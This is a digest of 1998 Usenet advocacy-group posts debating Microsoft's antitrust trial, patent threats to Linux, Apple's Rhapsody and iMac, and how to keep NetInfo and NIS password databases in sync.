Message-ID: <4FDC199F47CB0FED.5AC5008B51954AA1.D3AEF464DD370491@library-proxy.airnews.net>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <FIiROLCWddLd-pn2-br4O7mfXwBFR@localhost> <364338E5.2C79FBBF@cygnus.com>
Abuse-Reports-To: abuse at airmail.net to report improper postings
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On Fri, 06 Nov 1998 09:59:01 -0800, John Rudd <jrudd@cygnus.com>
wrote:
>To an extent, many free software projects already do this with change logs
>and such. If you can track a particular change back to a particular
>contributor, and they can be found to have gotten their stuff direct from
>MS for nefarious purposes 1) it pretty much negates any claim MS can make
>because they effectively donated the code even though that wasn't their
>intention, 2) might open them up for class action suit by the Linux
>community and/or the commercial vendor in question depending on how exactly
>it was done. If you can't prove they got it from MS, you can at least dump
>liability on them (ie: YOU (joe random hacker) shouldn't contribute code to
>Linux (commercial or free) UNLESS you're confident it's not infringing on
>some intellectual property, because later on down the road some company may
>come knocking on your door because you've gotten them sued over it).
>
>That may mean the commercial linux distributor will have to stop shipping
>that module until it can be re-written (or changed to a non-open source
>licensed module).. but that's better than having to pay damages or
>something.
If you read the Halloween documents, you come to realize they _are_
FUD. They say--we can't attack OSS companies, we have to attack OSS
"as a process."
To even raise the issue of IP rights (through "leaking") the Halloween
documents is enough to scare PHBs. M$ is fighting mindshare, not
marketshare.
If this first round of FUD doesn't cause enough companies to back off
from Linux, then they'll start egging companies on to patent stuff, or
enforce their existing IP rights as an obstacle.
All of that will have one of two outcomes...either OSS's momentum is
slowed through prolonged court battles that the Borg KNOWS it will
ultimately lose (but scares enough PHBs that Linux's enterprise push
momentum is significantly slowed to the point that Win2000 is ready
for use) OR the Borg's attacks will cause the Any Body But M$
"Federation" to loosen up _their_ IP rights...Exp--IBM. Imagine if
they started porting cool ideas from OS/2 to Linux. Heck, if Apple had
half a clue it'd do the same thing with Mac stuff.
Either way: Microsoft isn't just evil, it's wicked. And the only way
we can prevent M$ from one day deciding that "Hmmm, maybe we could
'embrace and extend' that 'Open Government System' that keeps causing
us grief..." is to break the fucker up and regulate the hell out of
the resulting Baby Bills.
My ultimate fear--M$ poors big bucks into the 2000 race, enough that
the anti-trust stuff is "quietly" ended because it's "obvious" that
M$ is a "natural" monopoly
-l
---
ICQ#: 9393354 * "Whenever you find that you are on the side of
the majority, it is time to reform." -- Mark Twain
Newsgroups: comp.sys.next.advocacy
From: edew@netcom.com (Eric Dew)
Subject: Re: Dilemma
Message-ID: <edewF2107C.K35@netcom.com>
Sender: edew@netcom17.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <i0T%1.13479$yb5.11713788@news.rdc1.sdca.home.com> <71qtlr$9sl@news1.panix.com> <Fqb02.13649$yb5.12475178@news.rdc1.sdca.home.com>
Date: Sat, 7 Nov 1998 00:33:12 GMT
In article <Fqb02.13649$yb5.12475178@news.rdc1.sdca.home.com> rr6013@yahoo.com (Rex Riley) writes:
>In <71qtlr$9sl@news1.panix.com> Sal Denaro wrote:
>> > If
>> >OSX isn't an NT killer,
>>
>> It isn't an "NT killer" yet. Just like Linux wasn't an NT killer in '94.
>>
>>
>
>Fine, I'll accept that. Will someone please tell where and how with OSX
>Apple can make an NT killer? I suggested latent technologies we've not yet
>seen. That got shot down. You're proposing a slow build strategy... You're
>not alone. I had this same discussion with John Kheit. It fits everything
>Apple has done. I continue to disbelieve Java/distributed apps and Linux
>will foster an environment for that strategy to be effective.
>
>Odd man out I may be...
>
>-r
>
How much do people want to bet that sooner or later, MS will come out with
Visual Linux or MS-Linux, and then start squeezing the functionality of it
until it only works with MS software? Since linux is freeware, MS can
take hold of the source code, make enough changes to it, call it MS-Linux
and claim "innovation" in the face of any pro-linux lawsuits from FSF or
other freeware organizations.
Just a whimsical sick thought.
EDEW
From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Fri, 6 Nov 1998 20:03:57 -0500
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <19981106200357201528@pm2-2-04.aug.com>
References: <364295A3.ABE8C927@earthlink.net> <jpolaski-0611981014460001@d149-220.ce.mediaone.net> <ckoller-ya02408000R0611980933200001@netnews.worldnet.att.net>
Craig Koller <ckoller@worldnet.att.net> wrote:
> However, without Wintel, we'd probably still be paying $10K for the
> equivalent of a Quadra 650.
>
> Fair is fair...
Nope. Windows is actually more expensive now, and Intel has always been
into commodity pricing. If MS ha dplayed fair, we might have 1 or 2 more
OS's competing and lowering prices.
--
Remove nojunk from my email address to reply by email.
From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Fri, 6 Nov 1998 20:03:55 -0500
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <19981106200355201439@pm2-2-04.aug.com>
References: <364295A3.ABE8C927@earthlink.net> <36431F72.69E04A89@NOSPAMworldnet.att.net> <yl3u30ch3rl.fsf@shell8.ba.best.com>
Robert Nicholson <steffi@shell8.ba.best.com> wrote:
> True but what's going to cause MS's market share erode even if they lose
> this case? The standard still exists their influence still remains.
There is the possibility that MS can be broken up into distinct
companies, complete with different boards. That might dent their
dominance.
--
Remove nojunk from my email address to reply by email.
From: Lemmy <lemmy@tone.ca>
Newsgroups: comp.sys.next.advocacy
Subject: Re: iMac for $29
Date: Fri, 06 Nov 1998 20:18:12 -0500
Organization: Styx DTP
Sender: monner@dial03p17.ottawa.storm.ca
Message-ID: <36439FD3.B65410E4@tone.ca>
References: <azF02.13909$yb5.13282084@news.rdc1.sdca.home.com> <01be09b9$ccdf2b50$06387880@chewy> <36435965.0@news.depaul.edu> <71vmqv$8be@shelob.afs.com> <364366BF.44BC800A@tone.ca> <71vti6$96p@shelob.afs.com>
Mime-Version: 1.0
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Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 7 Nov 1998 01:19:10 GMT
Greg Anderson said:
<<"And what operating system would you care to run it on?" he responded
ironically.>>
DR2, but seriously, I don't mind waiting for the first customer release,
if this complicates your life.
Michael
From: John Rudd <jrudd@cygnus.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft and open source
Date: Fri, 06 Nov 1998 17:15:55 -0800
Organization: Cygnus Solutions
Message-ID: <36439F4B.6DC8E266@cygnus.com>
References: <71l58n$oh5@newsb.netnews.att.com> <ckoller-0211982206560001@127.san-francisco-05.ca.dial-access.att.net> <71pl5d$cec@papoose.quick.com> <3640795E.CF924665@ericsson.com> <71qa29$k42@papoose.quick.com> <3640DBD9.17D3332F@ericsson.com> <71r6a5$r41$1@nnrp1.dejanews.com> <3641D68F.25527651@ericsson.com> <71t6up$gjr$1@nnrp1.dejanews.com> <36422E5A.3E7CE996@ericsson.com> <71ucd2$rck$1@news.idiom.com> <36433A73.8FF7D742@cygnus.com> <71vu1m$srd$1@nnrp1.dejanews.com>
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Charles Swiger wrote:
>
> In article <36433A73.8FF7D742@cygnus.com>,
> John Rudd <jrudd@cygnus.com> wrote:
> > "John C. Randolph" wrote:
> [ ... ]
> >> That's about how complicated it is to keep Netinfo sync'd with flat files or
> >> YP.
> >
> > With one small problem..
> >
> > If you use "ypcat passwd | niload passwd ." and the user changes their
> > password on the NeXT box (via NetInfo), their password will be clobbered.
>
> This has nothing to do with NetInfo per se-- it's nothing more than the
> traditional distinction between yppasswd vs. passwd (except that NeXT's passwd
> can talk to NetInfo instead of a flat file).
>
> > Conversly, if you use "nidump passwd . > /etc/passwd", and they change
> > their password via the flatfiles, again it gets clobbered by Netinfo.
>
> This makes even less sense. /etc/passwd is not changeable by users on any
> Unix system (unless system security is completely disabled, in which case
> everyone might as well be logging in as root).
>
> -Chuck
>
Um.. Chuck, I think you have completely missed what I was saying.. I
didn't say users can directly change the password file, I said change their
password. I can't think of any decent unix system that doens't make some
provision for users changing their password (and thus, they do change the
/etc/passwd file, just not directly).
Senario 1:
You have a NetInfo domain that is subservient to your NIS domain. If a
user changes their password on a box that is part of the NetInfo domain
(ie. not directly under the NIS domain), then everytime your periodic
"ypcat passwd | niload passwd ." cron job runs, it will clobber their
NetInfo based password, because NIS and NetInfo don't know which password
entry is more recent. Thus, users MUST change their password via yppasswd
on a NIS machine, even if that's the only thing they ever use the NIS
machines for.
Senario 2:
You have a network of flat-file controlled hosts that somehow obtain their
flat files from some NetInfo host/network (ex: a central host that is part
of the NetInto domain that dumps its password file to a flat file
periodically, and then rdists it out to the non-NetInfo hosts). If a user
changes their password on a box that is part of the "flat file domain" (ie.
not directly under the control of NetInfo), then every time your periodic
"nidump passwd . > /etc/passwd ; rdist script" routine, it will clobber
their password change because, again, there is no way the system can know
which password is more correct. Thus, users MUST change their passwords
via a NetInfo box, even if that's the only thing they ever use the NetInfo
box for.
You can make a NeXT box work in a NIS world by disabling NetInfo.. but you
can't make a NetInfo network peer with a NIS network (as far as I know....)
where users can change their passwords on one set of boxes and have it
automatically show up on the other set of boxes, without reguard to which
part of said peer password network they're on when they make the password
change.
I believe that degree of peering is what M. Peck meant when he asked about
NIS/NetInfo gatewaying (which is the comment that started this branch of
the thread). Nidump and Niload _can_ be used for periodic/regular updates
of two different password environments, but strictly speaking they are much
more of a migration tool than a gateway tool, otherwise you get into all
sorts of non-peer complications. At best you can use it to make it a
situation where one network serves and the other is effectively a slave
network.
(now, when I was running NetInfo on a regular basis, I didn't really care
about those issues.. I didn't just take the rdisted (we do kerberized and
encrypted rdisting) password and load it in to NetInfo.. I had it filter
out my password entry (I was primarily the only user of my Nextstep-Sparc
box) and the root password entry, then load it, and then dump it back to
the flat file -- thus, on _my_ workstation my password only changed if I
changed it in NetInfo, same with root... but in all other respects my
workstation behaved under the "must change password on rdist host" rules)
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
-----======Intel: Putting the backward in backward compatible======-----
Kein Mitleid Fu:r MicroSoft (no mercy for microsoft) -- www.kmfms.com
From: atticus@mindspring.com (Andy Walton)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Fri, 06 Nov 1998 21:04:44 -0500
Organization: Waltonschauung
Message-ID: <atticus-0611982104450001@user-38lcd36.dialup.mindspring.com>
References: <364295A3.ABE8C927@earthlink.net> <jpolaski-0611981014460001@d149-220.ce.mediaone.net> <ckoller-ya02408000R0611980933200001@netnews.worldnet.att.net>
Ccb%xGQshhi|g@QU2$
If you want to use it please also use this Authorline.
In article <ckoller-ya02408000R0611980933200001@netnews.worldnet.att.net>,
ckoller@worldnet.att.net (Craig Koller) wrote:
:However, without Wintel, we'd probably still be paying $10K for the
:equivalent of a Quadra 650.
If you EVER paid $10K for a Quadra 650, you got snookered.
More interesting is the belief that only Microsoft is capable of
innovation. Had the Wintel standard never emerged, there was another
open-standard, CLUI operating system -- namely CP/M. If the duelling
standards of Mac/Amiga failed to deliver a cheap enough machine, I think
it's a safe bet that some sort of GUI would have been developed for later
iterations of CP/M, as Windows was for DOS.
--
"A billion's a nice round number" -- Ted Turner
--------------------------------------------------------------------------
Andy Walton * atticus@mindspring.com * http://atticus.home.mindspring.com/
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 7 Nov 1998 03:24:55 GMT
Organization: I don't think so
Message-ID: <slrn747fmq.v9.jason@jhste1.dyn.ml.org>
References: <364295A3.ABE8C927@earthlink.net> <36434D2B.9B4F3082@ncal.verio.com>
Mike Paquette posted the following to comp.sys.mac.advocacy:
[on hearsay...]
>This is a civil case, not a criminal case, so under United States law,
>different standards of evidence apply.
Bzzzzt.
--
"...and a more offensive spectacle I cannot recall."
-- Newman
From: "Peter A. Koren" <pkoren@hex.net>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Fri, 06 Nov 1998 21:48:34 -0600
Organization: Family
Message-ID: <3643C311.689A8771@hex.net>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com>
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="------------1F801B2702CEB24E92896425"
NNTP-Posting-Date: 7 Nov 1998 03:49:03 GMT
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Don Yacktman wrote:
> John Rudd <jrudd@cygnus.com> wrote:
> > Douglas Lee Hendrix wrote:
> > > I pose the question, who would Microsoft sue? Linux is simply
> > > available for download on too many ftp sites to be able to stem the
> > > tide.
> >
> > Lets explore the issue a little further..
> >
> > [...]
>
> Well, I still see one possible situation that could be a problem. I've seen
> this happen before. The gist of the argument is this:
>
> (1) You know that you'd win a suit if filed
> (2) But even so, the defense would be costly
> (3) So you don't do it, even though you'd be able to win, because the cost is
> too high
snip
Don, you forget one thing. While the Judicial system might fail to yank its head
out from its nether
sphincter, our foreign friends are unlikely to go along and support the
Microsoft borg. The courts
can only make some Americans kiss Bill Gate's vertical smile. Linux may get
combat scars, but it
will live and prosper.
I urge our allies outside of the influence of our American legal circus to
organize and to
to oppose M$ thuggery in their own countries. Fight to get Linux recognized and
used by all public
organizations which use computers. I hear that France and Mexico are moving in
that direction.
We are winning. Just keep fighting.
Regards,
Peter Koren
--
Remove the 'zap-this' from the email address to reach me.
Progressives: "... that dreary tribe of high minded women and sandal wearers
and bearded fruit juice drinkers who come flocking to the smell of
'progress' like blue bottles to a dead cat." -- George Orwell
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Don Yacktman wrote:
<BLOCKQUOTE TYPE=CITE>John Rudd <jrudd@cygnus.com> wrote:
<BR>> Douglas Lee Hendrix wrote:
<BR>> > I pose the question, who would Microsoft sue? Linux is simply
<BR>> > available for download on too many ftp sites to be able to stem
the
<BR>> > tide.
<BR>>
<BR>> Lets explore the issue a little further..
<BR>>
<BR>> [...]
<P>Well, I still see one possible situation that could be a problem.
I've seen
<BR>this happen before. The gist of the argument is this:
<P>(1) You know that you'd win a suit if filed
<BR>(2) But even so, the defense would be costly
<BR>(3) So you don't do it, even though you'd be able to win, because the
cost is
<BR>too high</BLOCKQUOTE>
snip
<P>Don, you forget one thing. While the Judicial system might fail to yank
its head out from its nether
<BR>sphincter, our foreign friends are unlikely to go along and support
the Microsoft borg. The courts
<BR>can only make some Americans kiss Bill Gate's vertical smile. Linux
may get combat scars, but it
<BR>will live and prosper.
<P>I urge our allies outside of the influence of our American legal circus
to organize and to
<BR>to oppose M$ thuggery in their own countries. Fight to get Linux recognized
and used by all public
<BR>organizations which use computers. I hear that France and Mexico are
moving in that direction.
<P>We are winning. Just keep fighting.
<P>Regards,
<P>Peter Koren
<BR>
<PRE>--
Remove the 'zap-this' from the email address to reach me.
Progressives: "... that dreary tribe of high minded women and sandal wearers
and bearded fruit juice drinkers who come flocking to the smell of
'progress' like blue bottles to a dead cat." -- George Orwell</PRE>
</HTML>
--------------1F801B2702CEB24E92896425--
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Linux for NeXT?
Date: Fri, 06 Nov 1998 17:15:32 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <71varm$bl7$1@nnrp1.dejanews.com>
References: <36382E60.2278743@astroinfo.org> <d3ww5ju0og.fsf@valhall.cern.ch> <71a8rv$152@news.jhu.edu> <d367cxqejq.fsf@valhall.cern.ch> <71nf47$cj1@news.jhu.edu> <d3d871m7ll.fsf@valhall.cern.ch>
In article <d3d871m7ll.fsf@valhall.cern.ch>,
Jes Sorensen <Jes.Sorensen@cern.ch> wrote:
[ ... ]
> I want a simple and efficient GUI, the one in NEXTSTEP prevents me
> from working efficiently and I hate that. IMHO anything that requires
> a mouse is broken.
You can use the keyboard for almost all tasks if you want to. Some of the
more complex changes (like switching from click-to-focus to
focus-follows-mouse) require simple changes to the WindowServer PS code.
Besides, IMHO it's nonsensical to criticise a GUI for depending on a pixel-
oriented pointer device like a mouse. You can criticise the overall UI (which
combines GUI with CLI, or system usability, or whatever), but not the GUI
itself.
> Besides it is practically impossible to compile
> many the important UNIX programs I need under NS.
Like what, specificly?
[ ... ]
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
Date: Mon, 02 Nov 1998 19:05:21 -0500
From: tbrown@netset.com (Ted Brown)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Message-ID: <tbrown-0211981905240001@mv201.axom.com>
References: <71kj6v$f4j@shelob.afs.com> <363DDCD0.ED90035C@yahoo.com> <71kt7n$her@newsb.netnews.att.com>
Organization: Newsfeeds.com http://www.newsfeeds.com 60,000+ UNCENSORED Newsgroups.
In article <71kt7n$her@newsb.netnews.att.com>,
gupta@knim.tm.tta.moc-mirror after @ wrote:
>"Is Apple another whining competitor ?"
>
>at
>
>http://webserv.vnunet.com/www_user/plsql/pkg_vnu_news.right_frame?p_story=67433
>
>points out several flaws in Tevanian's testimony.
>
>
>-arun gupta
No, I think it mischaracterizes Tevanian's testimony. The sections where
Tevanian lists the problems that Apple had getting support for Rhapsody,
was under "BARRIER TO ENTRY", to shore up the point that it's hard to
release an operating system. I read the complete section and didn't come
away with the perception that Avie was saying "and this is all Microsoft's
fault" as the author would have us believe. IIRC, a 'significant barrier
to entry' is a requirement to declaring someone a monopoly, and I took
those statements as shoring up that point for the DOJ. (Someone with a
better legal understanding is encouraged to comment.)
The author seems to misunderstand why Office is important. It's not due
to it's dominance in the Mac market, but it's dominance in the PC
market. It's an important Mac program because it allows Mac users to
share Office documents with Windows users. If Office handled it's file
compatibility better, then Mac Office would be even less needed. One of
the simpliest strictures that the DOJ could wrangle from MS, is that all
protocols and file formats are to be openly specified and released X
months before any product using them.
The author also fails to mention statements from MS Email like "Mac Office
is the perfect club." and the various threats against Apple if they didn't
give up on QT for Windows. More to the point, Apple repeatedly asked for
technical support from MS (as would any MS software vendor) and got vauge
threats back and basic non-cooperation. According to the testimony, even
a call from Jobs to Gates only got more threats and continued
non-cooperation, this time with the direct blessing of Gates (who
nervously denies it in his testimony).
--
tbrown@netset.com
-------=== http://www.newsfeeds.com ===-------
Join the Largest News Server in the World!
62,000 newsgroups Strong
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From: John Rudd <jrudd@cygnus.com>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Fri, 06 Nov 1998 09:48:34 -0800
Organization: Cygnus Solutions
Message-ID: <36433672.F4BFD341@cygnus.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71uag8$f1c$1@52-a-usw.rb1.blv.nwnexus.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Tim Smith wrote:
>
> In article <36426F6E.2AED1A73@cygnus.com>, John Rudd <jrudd@cygnus.com> wrote:
> >Lets explore the issue a little further..
> >
> >
> >lets say MS finds a patent issue to cause commercial distributors (redhat,
> >caldera, even walnut creek) to cease their linux business.
> >
> >1) Does this stop Applixware (etc) from selling to Linux customers (I don't
> >think so..)?
>
> It does if the patent covers something that is in the Linux Applixware is
> distributing.
>
I think you misunderstood this particular question.. Applixware isn't a
Linux distribution, it's an "office suite". What I meant by "Applixware
(etc)" is not those who sell Linux, but those who sell/distribute
_applications_ to Linux users (Applixware, Mathematica, Netscape, soon
Corell's office, soon Oracle, etc).
My impression is that they could not affect the Linux Application market,
just the Linux OS market, as long as the patent isn't in the libraries that
the applications (staticly?) link against.
On the otherhand, if MS was able to eliminate the corporate Linux users,
that would probably dry up part of the Linux Application market (no more
Linux/Oracle servers for Oracle to sell to, etc). Thus, only the core
Linux App vendors (like Applixware) would stick around.
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
-----======Intel: Putting the backward in backward compatible======-----
Kein Mitleid Fu:r MicroSoft (no mercy for microsoft) -- www.kmfms.com
From: Robert Fovell <rfovell@yahoo.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Fri, 06 Nov 1998 09:36:38 -0800
Organization: University of California, Los Angeles
Message-ID: <36433398.312A0EDD@yahoo.com>
References: <364295A3.ABE8C927@earthlink.net> <71va9v$b47$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Charles Swiger wrote:
>
> In article <364295A3.ABE8C927@earthlink.net>,
> rfovell@earthlink.net wrote:
> [ ... ]
> > I'm not a lawyer [nor do I want to be one], but I'm surprised Avie's testimony
> > about a meeting which he did *not* attend was admitted. Isn't that hearsay?
> > [1]. Of course, my knowledge of the law owes as much to Perry Mason and
> > Grisham novels as it does to academically valid sources, so... say no more ;-)
>
> Dunno, but I suspect there is a difference in credibility between "my
> employees reported that XXX happened in this major business meeting we had",
> and "I heard a rumor that XXX happened"....
It may be moot, anyway. Since last night, I've come across fuller treatments
of Dr. Tevanian's testimony, in which he states he did attend other meetings
in which similar Microsoft "baby knifing" proposals were made. See:
http://www.news.com/News/Item/0,4,28391,00.html
Excerpt:
<quote>
Tevanian told the court: "Mr. Hoddie said, 'Do you want us to knife the
baby?,'" referring to QuickTime. "And Mr. Phillips said, 'Yes we're talking
about knifing the baby.'"
Under questioning, Tevanian conceded that he was not present at the meeting.
But Tevanian said he attended another meeting in which Microsoft executive Don
Bradford made a similar proposal to divide the multimedia market.
</quote>
--
Robert Fovell / UCLA Atmospheric Sciences / Los Angeles, CA
http://uniblab.atmos.ucla.edu/~fovell [science page]
http://home.earthlink.net/~rfovell [PC parody page]
"That's not what a Mac does. I want Mac on the PC.
I want Mac on the PC." -- Bill Gates
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: "Knife the baby" finally appears
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <364295A3.ABE8C927@earthlink.net> <71va9v$b47$1@nnrp1.dejanews.com> <36433398.312A0EDD@yahoo.com>
Message-ID: <36433c17.0@news.depaul.edu>
Date: 6 Nov 98 18:12:39 GMT
In comp.sys.next.advocacy Robert Fovell <rfovell@yahoo.com> wrote:
> It may be moot, anyway. Since last night, I've come across fuller treatments
> of Dr. Tevanian's testimony, in which he states he did attend other meetings
> in which similar Microsoft "baby knifing" proposals were made. See:
Some of the 'hearsay' material is backed up with sworn depositions by those
who were actually in attendance.
The reason hearsay is being admitted at all is that the judge limited
the number of witnesses in order to speed the trial to conclusion. Also,
there's no jury, just the judge, so there's no issue of the jury
being misled. The judge knows what's up.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: "Greg Anderson" <greg@afs.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: iMac for $29
Date: Fri, 6 Nov 1998 23:36:19 -0500
Organization: Anderson Financial Systems Inc.
Message-ID: <720iro$amf@shelob.afs.com>
References: <azF02.13909$yb5.13282084@news.rdc1.sdca.home.com> <01be09b9$ccdf2b50$06387880@chewy> <36435965.0@news.depaul.edu> <71vmqv$8be@shelob.afs.com> <364366BF.44BC800A@tone.ca> <71vti6$96p@shelob.afs.com> <36439FD3.B65410E4@tone.ca>
Lemmy wrote in message <36439FD3.B65410E4@tone.ca>...
>Greg Anderson said:
>
><<"And what operating system would you care to run it on?" he responded
>ironically.>>
>
>DR2, but seriously, I don't mind waiting for the first customer release,
>if this complicates your life.
Believe me, you don't want to run it on DR2. I completed and delivered a
serviceable CR1 release over two months ago, and now I'm waiting just like
everyone else.
Greg
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.next.advocacy
Subject: Re: iMac for $29
Date: 6 Nov 1998 19:22:24 GMT
Organization: Net Squared, Inc.
Message-ID: <01be09b9$ccdf2b50$06387880@chewy>
References: <azF02.13909$yb5.13282084@news.rdc1.sdca.home.com>
Rex Riley <rr6013@yahoo.com> wrote
> Apple financing is brilliant... It shouldn't be overlooked in
> the noise of MS and MacOSX. Apple folks are really focused on
> getting the job done, right. Impressive...
> -r
$29/month for 67 months!! That is a long time, especially in
computer/internet years. That little iMac is going to look pretty slow
when you are still paying $29/month in 2004.
I hope Apple implements an upgrade path for these folks.
Todd
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: petrich@netcom.com (Loren Petrich)
Subject: Re: "Knife the baby" finally appears
Message-ID: <petrichF21FxH.3I4@netcom.com>
Organization: Netcom
References: <364295A3.ABE8C927@earthlink.net> <jpolaski-0611981014460001@d149-220.ce.mediaone.net> <ckoller-ya02408000R0611980933200001@netnews.worldnet.att.net> <atticus-0611982104450001@user-38lcd36.dialup.mindspring.com>
Date: Sat, 7 Nov 1998 06:12:53 GMT
Sender: petrich@netcom18.netcom.com
In article <atticus-0611982104450001@user-38lcd36.dialup.mindspring.com>,
Andy Walton <atticus@mindspring.com> wrote:
>More interesting is the belief that only Microsoft is capable of
>innovation. Had the Wintel standard never emerged, there was another
>open-standard, CLUI operating system -- namely CP/M. If the duelling
>standards of Mac/Amiga failed to deliver a cheap enough machine, I think
>it's a safe bet that some sort of GUI would have been developed for later
>iterations of CP/M, as Windows was for DOS.
And even in the Intel-PeeCee world, there were some competing
GUI's in past years, such as Geos and GEM (does anyone remember those?).
If M$ had never gotten into Windoze, those would have had a chance to
become significant competitors for IBM's OS/2.
--
Loren Petrich Happiness is a fast Macintosh
petrich@netcom.com And a fast train
My home page: http://www.petrich.com/home.html
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Message-ID: <forrestDELETE-THIS!-0611982236160001@term3-28.vta.west.net>
References: <364295A3.ABE8C927@earthlink.net> <jpolaski-0611981014460001@d149-220.ce.mediaone.net> <ckoller-ya02408000R0611980933200001@netnews.worldnet.att.net> <atticus-0611982104450001@user-38lcd36.dialup.mindspring.com> <petrichF21FxH.3I4@netcom.com>
Organization: Obsidian Design / Static Dreams Interactive
Date: Fri, 06 Nov 1998 22:36:15 -0700
NNTP-Posting-Date: Fri, 06 Nov 1998 22:34:58 PDT
In article <petrichF21FxH.3I4@netcom.com>, petrich@netcom.com (Loren
Petrich) wrote:
> And even in the Intel-PeeCee world, there were some competing
> GUI's in past years, such as Geos and GEM (does anyone remember those?).
> If M$ had never gotten into Windoze, those would have had a chance to
> become significant competitors for IBM's OS/2.
I remember hearing something about MS not being interested in creating a
GUI for DOS initially, when there was just the Mac. But when one of their
chief competitors, the company who made VisiCalc, began to do so (VisiON),
MS used their prototype Mac as a template to crank out Program Manager
1.0, which later became PM2, and reached general usability in Windows 3.0.
Can anyone validate this?
--
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions.
Apply at front desk. All prices subject to change. Universe, the Universe
logo, and all objects contained within are (TM) and (C) Everything
Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <i0T%1.13479$yb5.11713788@news.rdc1.sdca.home.com> <71qtlr$9sl@news1.panix.com>
<Fqb02.13649$yb5.12475178@news.rdc1.sdca.home.com> <edewF2107C.K35@netcom.com>
Message-ID: <z7O02.14063$yb5.13541959@news.rdc1.sdca.home.com>
Date: Sat, 07 Nov 1998 02:20:15 GMT
NNTP-Posting-Date: Fri, 06 Nov 1998 18:20:15 PDT
Organization: @Home Network
In <edewF2107C.K35@netcom.com> Eric Dew wrote:
> In article <Fqb02.13649$yb5.12475178@news.rdc1.sdca.home.com>
rr6013@yahoo.com (Rex Riley) writes:
> >In <71qtlr$9sl@news1.panix.com> Sal Denaro wrote:
> >> It isn't an "NT killer" yet. Just like Linux wasn't an NT killer in
'94.
> >>
> >>
> >
> >I continue to disbelieve Java/distributed apps and Linux
> >will foster an environment for that strategy to be effective.
> >
> >Odd man out I may be...
> >
>
> How much do people want to bet that sooner or later, MS will come out with
> Visual Linux or MS-Linux, and then start squeezing the functionality of it
> until it only works with MS software? Since linux is freeware, MS can
> take hold of the source code, make enough changes to it, call it MS-Linux
> and claim "innovation" in the face of any pro-linux lawsuits from FSF or
> other freeware organizations.
>
> Just a whimsical sick thought.
>
>
Most clear-eyed thinking I've seen on the topic... whimsical ± no. Sick?
Yes.
It doesn't fit their NT philosophy but it would meet their customer
obligation if such demand exists.
-r
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.next.advocacy
Subject: Re: iMac for $29
Date: 7 Nov 1998 06:41:59 GMT
Organization: Net Squared, Inc.
Message-ID: <01be0a18$b2805400$06387880@chewy>
References: <azF02.13909$yb5.13282084@news.rdc1.sdca.home.com> <01be09b9$ccdf2b50$06387880@chewy> <36435965.0@news.depaul.edu> <71vmqv$8be@shelob.afs.com> <364366BF.44BC800A@tone.ca> <71vti6$96p@shelob.afs.com>
Greg Anderson <greg@afs.com> wrote
> "And what operating system would you care to run it on?" he responded
> ironically.
Hmmm... sounds like another thread here not too long ago ;-)
